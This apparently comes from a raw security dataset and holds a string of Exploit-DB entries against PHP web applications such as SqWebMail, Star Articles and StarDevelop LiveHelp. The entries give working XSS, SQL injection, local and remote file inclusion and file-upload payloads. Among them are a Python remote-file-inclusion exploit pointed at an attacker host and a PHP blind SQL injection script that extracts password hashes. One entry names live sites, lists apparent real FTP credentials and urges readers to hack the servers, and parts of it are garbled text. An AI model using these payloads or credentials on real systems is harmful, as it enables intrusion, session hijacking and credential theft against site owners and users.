deardaniel/secdata-raw huggingface dataset:
Exploit-DB #34814
Description: SquirrelMail Virtual Keyboard Plugin - 'vkeyboard.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-05
Author: Moritz Naumann

Exploit:
source: https://www.securityfocus.com/bid/43749/info

The Virtual Keyboard plugin for SquirrelMail is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Virtual Keyboard 0.9.1 and prior are vulnerable.

http://www.example.com/plugins/vkeyboard/vkeyboard.php?passformname=%22%3E%3Cscript%3Ealert%28%27XSS%27%29;%3C/script%3E%3Cscript%3E/*%20
Exploit-DB #10669
Description: Squito Gallery 1.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Squito Gallery v.1.0 Cross Site Scripting Vulnerability                 |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   : 10669                                                                   |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : Squito Gallery v.1.0 &#65533;Angrymosquito.com all rights reserved             |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS                                                                     | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://127.0.0.1/immagini/?menu=photos&index=1&imagedir=1>"><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&currentdir=images%2F
|
| 2- http://127.0.0.1/immagini/?menu=photos&index=1&imagedir=images%2F&currentdir=images%2F&imageperpage=9&page=1--><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : tinjah.com * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #35832
Description: Squiz Matrix 4 - 'colour_picker.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-06-06
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/48118/info

Squiz Matrix is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Squiz Matrix 4.0.6 and 4.2.2 are vulnerable; other versions may also be affected. 

http://www.example.com/__lib/html_form/colour_picker.php?colour=';%20alert(document.cookie);%20var%20x='&pickerid=000000
Exploit-DB #25534
Description: SqWebMail 3.x/4.0 - HTTP Response Splitting
Type: webapps
Platform: php
Date: 2005-04-15
Author: Zinho

Exploit:
source: https://www.securityfocus.com/bid/13374/info

SQWebmail is prone to a HTTP response splitting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

A remote attacker may exploit this vulnerability to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. 

sqwebmail?redirect=%0d%0a%0d%0a[INJECT SCRIPT]
Exploit-DB #24227
Description: SqWebMail 4.0.4.20040524 - Email Header HTML Injection
Type: webapps
Platform: php
Date: 2004-06-21
Author: Luca Legato

Exploit:
source: https://www.securityfocus.com/bid/10588/info

SqWebMail is reported to be prone to an email header HTML injection vulnerability. This issue presents itself due to a failure of the application to properly sanitize user-supplied email header strings.

The problem presents itself when an unsuspecting user views an email message containing malicious HTML and script code in the email header. 

An attacker can exploit this issue to gain access to an unsuspecting user's cookie based authentication credentials.

1) sending a raw email message with malformed headers, i.e.
"<script>alert(document.location)</script>":

ashanti@dns:~$ telnet localhost 25
Trying x.x.x.x...
Connected to x.x.x.x.
Escape character is '^]'.
220 x.x.x.x ESMTP
helo foo
250 x.x.x.x
mail from:<test@test.com>
250 ok
rcpt to:<user@mediaservice.net>
250 ok
data
354 go ahead
<script>alert(document.location)</script>
.
[...]

2) sending a raw email message with the MIME Content-Type header set to
"message/delivery-status" with malformed content (see 1 above).
Exploit-DB #26200
Description: SqWebMail 5.0.4 - HTML Email IMG Tag Script Injection
Type: webapps
Platform: php
Date: 2005-08-29
Author: Jakob Balle

Exploit:
source: https://www.securityfocus.com/bid/14676/info

SqWebMail is affected by a vulnerability that may allow remote attackers to inject and execute arbitrary script code in a user's browser.

This may allow for various attacks including session hijacking due to the theft of user credentials.

SqWebMail 5.0.4 is reportedly vulnerable to this issue. It is possible that other versions are affected as well. 

<img src="cid:>" onError="alert(document.domain);">
Exploit-DB #51473
Description: Stackposts Social Marketing Tool v1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2023-05-23
Author: Ahmet Ümit BAYRAM

Exploit:
# Exploit Title: Stackposts Social Marketing Tool v1.0 - SQL Injection
# Date: 2023-05-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor:
https://codecanyon.net/item/stackposts-social-marketing-tool/21747459
# Demo Site: https://demo.stackposts.com
# Tested on: Kali Linux
# CVE: N/A


### Request ###

POST /spmo/auth/login HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: https://localhost/spmo/
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Content-Length: 104
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

csrf=eb39b2f794107f[PII_REDACTED]270dc59d&[CREDENTIAL_REDACTED]=1*


### Parameter & Payloads ###

Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: csrf=eb39b2f794107f[PII_REDACTED]270dc59d&[CREDENTIAL_REDACTED]=1')
AND (SELECT 9595 FROM (SELECT(SLEEP(5)))YRMM) AND ('gaNg'='gaNg
Exploit-DB #25189
Description: Stadtaus.Com Download Center Lite 1.5 - PHP Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-04
Author: Filip Groszynski

Exploit:
source: https://www.securityfocus.com/bid/12726/info

Download Center Lite is reportedly affected by an arbitrary remote PHP file include vulnerability. This issue is due to the application failing to properly sanitize user supplied input.

This vulnerability affects Download Center Lite version 1.5; earlier versions may also be affected. 

http://www.example.com/[dir]/inc/download_center_lite.inc.php?script_root=http://[hacker]/
Exploit-DB #25192
Description: Stadtaus.Com PHP Form Mail Script 2.3 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2005-03-05
Author: mozako

Exploit:
source: https://www.securityfocus.com/bid/12735/info

PHP Form Mail Script is prone to remote file include vulnerability.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

PHP Form Mail Script 2.3 and prior versions are vulnerable to this issue. 

#!/usr/bin/python
# Form Mail Script (FS) remote file inclusion exploit
# Coded by: mozako - mozako [at] mybox [dot] it
# Vuln. Discovered by: Filip Groszynski
# 5 March 2005
#
# (C) 2005 badroot security
import urllib2
import sys
__argv__ = sys.argv
def usage():
   print "Form Mail Script (FS) remote file inclusion exploit \nby:
mozako\n3.3.2005\n\nUsage:\n$ ./phpN.py -h http://123.4.5.6 -p
/PHP_News_Path/ -u http://filetoupload"
   sys.exit(-1)
if len(__argv__) < 2:
   usage()
try:
   global host
   global path
   global url
   host = __argv__[2]
   path = __argv__[4]
   url = __argv__[6]
except IndexError:
       usage()
def hack():
   try:
       print "[X] Connecting...",
       urllib2.urlopen(host + path +
"inc/formmail.inc.php?script_root=" + url)
       print "[OK]"
       print "[X] Sending exploit...", "[OK]"
       print "[X] Exploited !"
   except urllib2.HTTPError:
       print "[Failed]"
   except urllib2.httplib.InvalidURL:
       print "[Bad host]\nis there http:// ? :)"
   except ValueError:
       print "[Bad host]\nis there http:// ? :)"
hack()
# eof
Exploit-DB #36031
Description: StaMPi - Local File Inclusion
Type: webapps
Platform: php
Date: 2015-02-09
Author: e . V . E . L

Exploit:
# Exploit Title: StaMPi -  Local File Inclusion
# Google Dork: "Designed by StaMPi" inurl:fotogalerie.php
# Date: 16/2/15
# Author : e . V . E . L
# Contact: waleed200955@hotmail.com



PoC:

http://site.com/path/fotogalerie.php?id=../../../../../../../../../../etc/passwd%00
Exploit-DB #34878
Description: StandAloneArcade 1.1 - 'gamelist.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-08-27
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/44238/info

StandAloneArcade is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

StandAloneArcade 1.1 is vulnerable; other versions may also be affected. 

http://www.example.com/demo/gamelist.php?cat=1</title><ScRiPt%20%0a%0d>alert[PII_REDACTED]79)%3B</ScRiPt>
Exploit-DB #7251
Description: Star Articles 6.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-11-27
Author: ZoRLu

Exploit:
[~] Star Articles 6.0 Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] dork: allinurl:"article.download.php"   ( baya bi site var )
[~]
[~] N0T: pls dont make demos ( demolarI hacklemeyin LUTFEN kucuk bir rica )
[~] -----------------------------------------------------------

expl:

http://script//authorphoto/user_name[id].php

example:

http://www.lcfarticles.com//authorphoto/zorlu40.php ( according to me you dont make hack this site )

http://www.lcfarticles.com//authorphoto/zorlu40.php?act=ls&d=%2Fetc%2Fvdomainaliases ( server fena deil )

hemen hacklemeyin arkadaslar serverÃ½ kurcalayIn bakIn misal:

http://www.lcfarticles.com//authorphoto/zorlu40.php?act=ls&d=%2Fhome%2Fkiddybab%2Fpublic_html%2F

bir cok site var. ya rootlayÃ½n yada tek tek cakÃ½n config okuyun vs. serverdaki sitelerle ugrasmadan zone kasIlmaz ;) 

http://www.lcfarticles.com//authorphoto/zorlu40.php?act=ls&d=%2Fhome%2Fkiddybab%2Fpublic_html%2F

bu serverdaki bir site icin:

ftp://ftp.ababy.com.au/  ( ftp pass ve username )

user: kiddybab

pass: KidEw1nk08

ne biliyim iste biseler yapmaya calIsIn amacIm yardImcÃ½ olmak yoksa isterseniz hemen hackleyin isterseniz kurcalayIn siz bilirsiniz ;)


first register for site

after login to site and edit profile ( direck lnk: http://www.lcfarticles.com/user.modify.profile.php )

click to gozat button and select your shell after upload you shell

more after go repat edit profile page and you look you photo. right click to you photo

select to properties copy photo link and paste you explorer.

go your shell

examp:

user: trt-turk@hotmail.com

[CREDENTIAL_REDACTED]

login: 

http://www.lcfarticles.com/user.login.php

shell:

http://www.lcfarticles.com//authorphoto/zorlu40.php


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-27]
Exploit-DB #7240
Description: Star Articles 6.0 - Blind SQL Injection (1)
Type: webapps
Platform: php
Date: 2008-11-26
Author: b3hz4d

Exploit:
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +            stararticles blind sql injection Vulnerability          +
        +                                                                    +
        +                      Discovered by b3hz4d                          +
        +                                                                    +
        +                      WwW.DeltaHacking.Net                          +
        +                                                                    +
        +                                                                    +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                                  

                              APA Center of Yazd University   
                                 (https://www.ircert.cc)    

		
AUTHOR : b3hz4d (Seyed Behzad Shaghasemi)
DATE   : 26 nov 2008
SITE   : WwW.DeltaHacking.Net
CONTACT: behzad_sh_66@yahoo.com

#####################################################

APPLICATION   : stararticles
DOWNLOAD(175$): http://cmsnx.com/psf/order.php?id=5
VENDOR        : http://www.stararticles.com/
DEMO          : http://www.kalptarudemos.com/demo/stararticle/
DORK          : inurl:"article.download.php"

#####################################################


[+] vuln    : blind sql injection
              
              many of pages are vulnerable to blind sql injection:
              
              ./article.list.php

              ./article.print.php
              
              ./article.comments.php

              ./article.publisher.php
              
                    .
                    .
                    .

[+] Exploit : 
              true:
               
              http://www.kalptarudemos.com/demo/stararticle/article.download.php/1090%20and%20substring(@@version,1,1)=5
              http://www.bigarticle.com/article.download.php?artid=36106%20and%20substring(@@version,1,1)=5
             
              false:
              
              http://www.kalptarudemos.com/demo/stararticle/article.download.php/1090%20and%20substring(@@version,1,1)=4
              http://www.bigarticle.com/article.download.php?artid=36106%20and%20substring(@@version,1,1)=4


##########################################################################################################

# Greetings: str0ke, Dr.Trojan, Cru3l.b0y, l0pht and all member in DeltaHacking.Net & Snoop-Security.Com #

##########################################################################################################

# milw0rm.com [2008-11-26]
Exploit-DB #7243
Description: Star Articles 6.0 - Blind SQL Injection (2)
Type: webapps
Platform: php
Date: 2008-11-27
Author: Stack

Exploit:
<?php
	/*         ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                               +
        +            stararticles blind sql injection Vulnerability  xpl         +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
AUTHOR : Mountassif Moad
DATE   : 26 nov 2008
#####################################################
APPLICATION   : stararticles
DOWNLOAD(175$): http://cmsnx.com/psf/order.php?id=5
VENDOR        : http://www.stararticles.com/
DEMO          : http://www.kalptarudemos.com/demo/stararticle/
DORK          : inurl:"article.download.php"
#####################################################
 */

#
ini_set("max_execution_time",0);
print_r('
###############################################################
#         stararticles Blind SQL Injection Exploit 
#php '.$argv[0].' "http://www.site.com/article.download.php?artid=36106" 1
#                                                         
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."+and+1=1"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0"));
$t = abs((100-($w/$r*100)));
echo "\nPassword: ";
for ($j = 1; $j <= 32; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+myart_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+myart_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} else {
echo "\nExploiting failed: By Stack\n";
}
?>

# milw0rm.com [2008-11-27]
Exploit-DB #7908
Description: Star Articles 6.0 - Remote Contents Change
Type: webapps
Platform: php
Date: 2009-01-29
Author: ByALBAYX

Exploit:
#############################################
#----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]Script   :Star Articles 6.0

[~]Site     :http://www.stararticles.com

[~]Download :http://cmsnx.com/psf/order.php?id=5

[~]$        :(175$)
#############################################
[~]http://www.c4team.org/ [PATH] /stararticle/user.modify.profile.php?userid=1

[~]Add

[~]http://www.c4team.org/ [PATH]/ user.registration.php?redirect=admin.manage.users.php

[~]http://webrepairdoctor.co.uk/user.registration.php?redirect=admin.manage.users.php

[~]Edit

[~]http://www.c4team.org/ [PATH]/admin.edit.user.php?id=1

[~]http://webrepairdoctor.co.uk/admin.edit.user.php?id=1

[~]Delete

[~]http://www.c4team.org/ [PATH] /delete.php?id=5&heading=User&sql=star_users where id &redirect=admin.manage.users.php

[~]http://webrepairdoctor.co.uk/delete.php?id=5&heading=User&sql=star_users where id &redirect=admin.manage.users.php

vs...

[~]....Ver Ayar횄쩍 :=)


[~]Demo :  http://www.kalptarudemos.com/demo/stararticle/admin.manage.users.php


[~]Demo : http://www.kalptarudemos.com/demo/stararticle/user.modify.profile.php?userid=1

#############################################
[~]횄혶횄쩐inize Baq횄쩍n :=)

[~]Greetz For C4TEAM Members

[~]Bu isko ne g횄쨋tler sikmi횄쩐 :D Millet k횄쩌횄짠횄쩌k iskonun tad횄쩍n횄쩍 unutam횄쩍yor :D :D
#############################################
Derdimi dinledim, derdimden 횄혶횄혨REND횄혶M...
Onun derdini g횄쨋rd횄쩌m, derdime 횄혶MREND횄혶M...
FilistiN
----------

# milw0rm.com [2009-01-29]
Exploit-DB #36895
Description: starCMS - 'q' URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-02
Author: Am!r

Exploit:
source: https://www.securityfocus.com/bid/52262/info

starCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/index.php?q=[Xss]&r=5&lang=de&actionsuche=yes
Exploit-DB #33456
Description: StarDevelop Live Help 2.6 - 'SERVER' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-12-31
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/37558/info

Stardevelop Live Help is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Live Help 2.6.0 is vulnerable; other versions (or products that include Live Help) may also be affected.

http://www.example.com/livehelp/index_offline.php?SERVER=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>
http://www.example.com/livehelp/frames.php?SERVER=>"><ScRiPt%20%0a%0d>alert[PII_REDACTED]60)%3B</ScRiPt>&URL=www.example.org&SESSION=indoushka@example.org
Exploit-DB #36136
Description: StarDevelop LiveHelp 2.0 - 'index.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-09-15
Author: KedAns-Dz

Exploit:
source: https://www.securityfocus.com/bid/49650/info

StarDevelop LiveHelp is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the Web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

StarDevelop LiveHelp 2.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/index.php?language_file=[LFI]%00
Exploit-DB #31809
Description: Starsgames Control Panel 4.6.2 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-20
Author: CWH Underground

Exploit:
source: https://www.securityfocus.com/bid/29295/info

Starsgames Control Panel is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Starsgames Control Panel 4.6.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?showtopic=18&st=&lt;/textarea&gt;<script>alert(/xss/)</script> http://www.example.com/index.php?showtopic=18&st=&lt;/textarea&gt;<iframe src=http://www.google.com>